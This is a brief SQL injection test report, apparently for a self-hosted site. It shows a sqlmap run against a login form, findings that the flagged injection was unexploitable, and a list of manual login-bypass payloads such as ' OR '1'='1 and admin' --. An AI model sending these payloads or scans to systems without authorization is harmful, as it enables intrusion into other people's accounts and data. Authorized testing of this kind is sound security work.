

SQLMap Findings

Target URL: <https://hackerdom.xyz/login/>

Tool Used: SQLMap

Objective: Test the login form for SQL injection vulnerabilities using both automated and manual payloads.

```
(pradip@pradip)-[~]
$ sqlmap -u "https://hackerdom.xyz/login/" --data="username=admin&password=' OR '1'='1" --risk=3 --level=5

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:13:23 /2025-04-21/

[19:13:24] [WARNING] it appears that you have provided tainted parameter values ('password=' OR '1'='1') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[19:13:34] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('asp_transient_id=8a3ceaa2128...4d2291a3d3'). Do you want to use those [Y/n] y
[19:13:45] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:13:45] [INFO] testing if the target URL content is stable
[19:13:46] [INFO] target URL content is stable
[19:13:46] [INFO] testing if POST parameter 'username' is dynamic
[19:13:47] [WARNING] POST parameter 'username' does not appear to be dynamic
[19:13:47] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
```

Test Configuration:

- Method: POST
 - Parameters: username=admin&password=' OR '1'='1
 - Risk: 3
 - Level: 5
 - User consent: Yes (self-hosted test site)
 - Cookies accepted dynamically
-

Findings:

- SQLMap initially flagged a potential **time-based blind SQL injection** vector in the `username` parameter.
 - Extensive tests were performed across Boolean-based, error-based, stacked queries, and inline queries.
 - After confirming injection behavior, SQLMap flagged the payload as a **false positive or unexploitable**.
 - The `password`, `User-Agent`, `Referer`, and `Host` parameters were also tested but showed no signs of injection.
-

Conclusion:

- While SQLMap detected potential behavior similar to time-based injection, the injection was not exploitable.
- This suggests the site uses secure input handling or WAF filtering that prevents SQL exploitation.
- No actual data leakage or database interaction was observed.

Manually tested:

SQL Injection on the wordpress and web login page

Username: ' OR '1'='1

Password: ' OR '1'='1

USername: admin' –

Password: test

USername: ' OR 1=1 –\

Pass: anything